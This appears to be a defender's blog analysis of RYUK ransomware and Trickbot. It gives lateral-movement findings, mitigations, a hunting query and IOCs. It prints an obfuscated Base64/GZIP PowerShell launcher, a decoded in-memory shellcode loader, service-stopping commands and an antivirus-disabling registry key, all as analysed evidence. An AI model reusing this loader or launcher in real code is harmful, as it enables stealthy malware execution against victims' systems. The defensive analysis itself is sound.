RYUK Ransomware and Trickbot Analysis

This blog post is an informal analysis of RYUK ransomware (MITRE T1486) and Trickbot. There have already been many professional write-ups on RYUK, including FireEye, CrowdStrike, Malwarebytes, Cyberreason, and CheckPoint. In the last 90 days, RYUK has been detected in 14 States across the USA and has been labeled the “Threat of the Quarter” by Center of Internet Security. Internationally, the Mexican state-owned petroleum company Pemex was recently infected by RYUK, along with businesses in Spain and around the world. Just do a search for RYUK in the news for the last 30 days and you’ll find dozens of victims including 110 nursing homes, 400 hospitals, several state and local government – it’s a major crisis.

Many of the organizations that have been hit with RYUK did not ‘threat model’ against APT groups, and it’s a rather unfair fight – like an NFL team beating up on your local high school football team, or a military using laser weapons against a civilian population using pitch forks. According to Coveware, the average RYUK ransom payment is $300,000 USD, and RYUK has earned an estimated 4 million dollars in the last 90 days.

I obtained a copy of RYUK from an infected customer and then used the MDATP Evaluation Lab to examine RYUK behavior. I also obtained a copy of Trickbot for analysis from this website (here).

It was helpful to detonate these two samples separately because it can be confusing to know when one starts and the other ends.

The MDATP evaluation lab recorded every process, registry change, file creation and network communication. I’ve uploaded the reports for download here:

  • Download RYUK_MDATPAnalysis.csv file (here)
  • Download Trickbot_MDATPAnalysis.csv file (here)

My first impression was – this is incredibly complicated. To understand RYUK, you really need a deep understanding of Trickbot (There are two great posts analyzing the behavior (here) and (here). This is because, in the wild, RYUK uses a dropper such as Trickbot or Emotet to disable AV, maintain persistence, steal Chrome & IE Passwords, distribute Ryuk ransomware executable files via Group Policy, and PSEXEC. RYUK by itself is immediately detected by Defender Antivirus as TrojanDropper:PowerShell/Ploty.H and Trojan:Win32/Tiggre!plock which is why it relies upon something like Trickbot or Emotet to disable AV. Crowdstrike reported (here) earlier this month that RYUK has evolved to send wake-on-lan packets to wake up computers that have been shut down.

Trickbot infections can remain undetected for weeks or months until the attackers determine whether or not the victim is worthwhile pursuing according to reporting by Ars Technica. In some cases, the deployment of RYUK is just a diversion to draw attention away from banking/SWIFT transaction fraud.

Trickbot’s initial infiltration uses phishing attachments (like Microsoft Word and Excel) and RDP. Cyberreason observed that Emotet can bring Trickbot into an environment, which can then bring RYUK in.

Trickbot modified the Registry to disable Antivirus. Distribution occurred via PSEXEC and Group Policy Startup, Login, Logoff, and Shutdown scripts. RYUK spread via Group Policy in the attacks against the State of Louisiana as reported by Ars Technica (here), and is therefore similar to how BitPaymer is known to spread via group policy.

Azure ATP detected three lateral movement techniques: Pass-the-ticket, RDP, and SMB file copies to domain controller shares.

There were 5 days between the first Pass-the-ticket to the coordinated distribution of ransomware via Group Policy.

A limited number of target machines performed C2 communication to a single IP address: 160.20.147.91. I suspect this was Trickbot C&C because when RYUK was isolated in a VM by itself, it performed encryption without any external C2 communication. A new Trickbot C&C command “yvjlQIh.exe 8 LAN” was observed (The executable is always random). Other C&C commands have been documented by Fortinet here.

Interesting cleanup command was observed:

rundll32.exe C:\WINDOWS\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:411042507 WinX:0 WinY:0 IEFrame:0000000000000000

PowerShell was encapsulated by Base64 then compressed with GZIP. This GZIP encapsulation ended up being a great way to identify the suspicious PowerShell.

Here is an example:

cmd.exe /b /c start /b /min powershell.exe -nop -w hidden -noni -c “if([IntPtr]::Size -eq 4){$b=’powershell.exe’}else{$b=$env:windir+’\syswow64\WindowsPowerShell\v1.0\powershell.exe’};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments=’-noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String(”a string containing commands”))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))’;$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle=’Hidden’;$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);”

 

Note: The same command above was embedded as a Windows Service here:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\

 

To collect a list of all PowerShell commands using GZIP, the following MDATP Advanced Hunting Query can be used (this sample was submitted to the MDATP GitHub Library here).

    ProcessCreationEvents

    | where EventTime > ago(30d)

    | where ProcessCommandLine has “System.IO.Compression.GzipStream

    | project EventTime, ComputerName, InitiatingProcessFileName, FileName, ProcessCommandLine, MachineId, ReportId

    
 

To decompile the GZIP I modified Marcus Gelderman’s PowerShell Script from GitHub (here) to include an additional step to decode Base64.

$import
=
import-csv
gzip-evidence.csv

foreach ($payload
in
$import)

{


$b=[System.Convert]::FromBase64String($payload.Payload)


$decompressedByteArray
=
Get-DecompressedByteArray
-byteArray
$b


Write-Host
“Decoded: “ ( $enc.GetString( $decompressedByteArray ) |
Out-String )>>
output.txt

 

}

 

Here is an example of the decoded PowerShell command. Notice each function and parameter is randomized to evade EDR and ML solutions looking for static function strings. However, when I saved this as a TXT file, MDATP instantly recognized it as unsafe and removed the file.

function zQ8wa {

    Param ($al, $ppXta)        

    $qgFCK = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(‘\\’)[-1].Equals(‘System.dll’) }).GetType(‘Microsoft.Win32.UnsafeNativeMethods’)

    

    return $qgFCK.GetMethod(‘GetProcAddress’, [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($qgFCK.GetMethod(‘GetModuleHandle’)).Invoke($null, @($al)))), $ppXta))

}

 

function cFG {

    Param (

        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $gM,

        [Parameter(Position = 1)] [Type] $a40 = [Void]

    )

    

    $zGRY = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(‘ReflectedDelegate’)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(‘InMemoryModule’, $false).DefineType(‘MyDelegateType’, ‘Class, Public, Sealed, AnsiClass, AutoClass’, [System.MulticastDelegate])

    $zGRY.DefineConstructor(‘RTSpecialName, HideBySig, Public’, [System.Reflection.CallingConventions]::Standard, $gM).SetImplementationFlags(‘Runtime, Managed’)

    $zGRY.DefineMethod(‘Invoke’, ‘Public, HideBySig, NewSlot, Virtual’, $a40, $gM).SetImplementationFlags(‘Runtime, Managed’)

    

    return $zGRY.CreateType()

}

 

[Byte[]]$eakcC = [System.Convert]::FromBase64String(“(removed to not uniquely identify client)”)

        

$cDahn = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll VirtualAlloc), (cFG @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $eakcC.Length,0x3000, 0x40)

[System.Runtime.InteropServices.Marshal]::Copy($eakcC, 0, $cDahn, $eakcC.length)

 

$oez = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll CreateThread), (cFG @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$cDahn,[IntPtr]::Zero,0,[IntPtr]::Zero)

[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((zQ8wa kernel32.dll WaitForSingleObject), (cFG @([IntPtr], [Int32]))).Invoke($oez,0xffffffff) | Out-Null

 

When isolated by itself, RYUK executed the following commands in the MDATP evaluation lab:

“net.exe” stop “vmickvpexchange” /y
conhost.exe 0xffffffff -ForceV1
net1 stop “vmickvpexchange” /y
“net.exe” stop “sacsvr” /y
net1 stop “sacsvr” /y
“net.exe” stop “samss” /y
net1 stop “samss” /y

About a minute after running RYUK, the ransom page was shown:


Mitigations

For customers who use Microsoft Defender, they can enable the new Anti-Tampering feature to prevent AV from being disabled. Corporate customers can use Intune to make it even harder to disable the Anti-Tampering feature, since it abstracts the ability to turn it off to a separate cloud based management interface (otherwise if the on-premises domain admin is compromised, Anti-Tampering would (Requirements: Windows 10 E5 license, Intune, and Windows 10 1903 or higher).

Microsoft Attack Surface Reduction rules would prevent PSEXEC from launching.

If you are a Microsoft shop, see my other blog article (here) on MDATP best practices for other recommendations.

Attribution

RYUK has historically been attributed to Lazarus Group, or as FireEye suggests, a dedicated unit APT38 but it could have been shared with a cybercrime group in Russia since the update from June 2019 blacklists the ransomware from infecting Russia. McAfee and CrowdStrike have both indicated possible Russian connections because of this black list. Researchers are sharply divided on attribution, but it is worth noting that reports have previously circulated about APT38 inserting Russian language into code as a false flag. Either way, it’s commonly accepted that nation-states and major cybercrime threat actors have access to RYUK. Some have speculated that RYUK may be sold as ransomware-as-a-service on the Dark Web but I haven’t seen much evidence supporting this.

The United Nations Security Council report states that North Korea is illegally generating revenue through cyberattacks to circumvent UN resolutions (page 52).

Insurance Considerations

For businesses that do not have cybersecurity insurance, check with your insurance company if “Business Interruption Insurance” will cover the ransomware attack since the servers are down and therefore interrupting business.

IOCs

  • V1.exe
  • V2.exe
  • 160.20.147.91
  • RyukReadMe.html
  • PSEXESVC.exe
  • HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware\1
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\PSEXESVC
  • HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\(Random Value)\ImagePath\
  • (Many others – check the

    RYUK_MDATPAnalysis.csv and Trickbot_MDATPAnalysis.csv files for more)

     

Hash MD5

    9baf7ea6d780bf8f45db0a3ce23cc3d5

d898182c48a80cf43c4d730d07f12713

Hash SHA1

    89f7dad23e4dd64e80894d4448aa796b8c11f2bc

58713f34eef264d067c6bc694ab7e1b63a260be8

17027688118a848129388a03904f98227e93d100 (as of 11/26/19 still not in Virus Total)

Hash SHA256

3abec9fd1183e0c97992414f342b787236125064f9934df5a1d68d4d6c148870

d22cad2d94b9a39c8b51c88a6d3f6dd9ce6f85ee7915e89daa657b16cb26f70b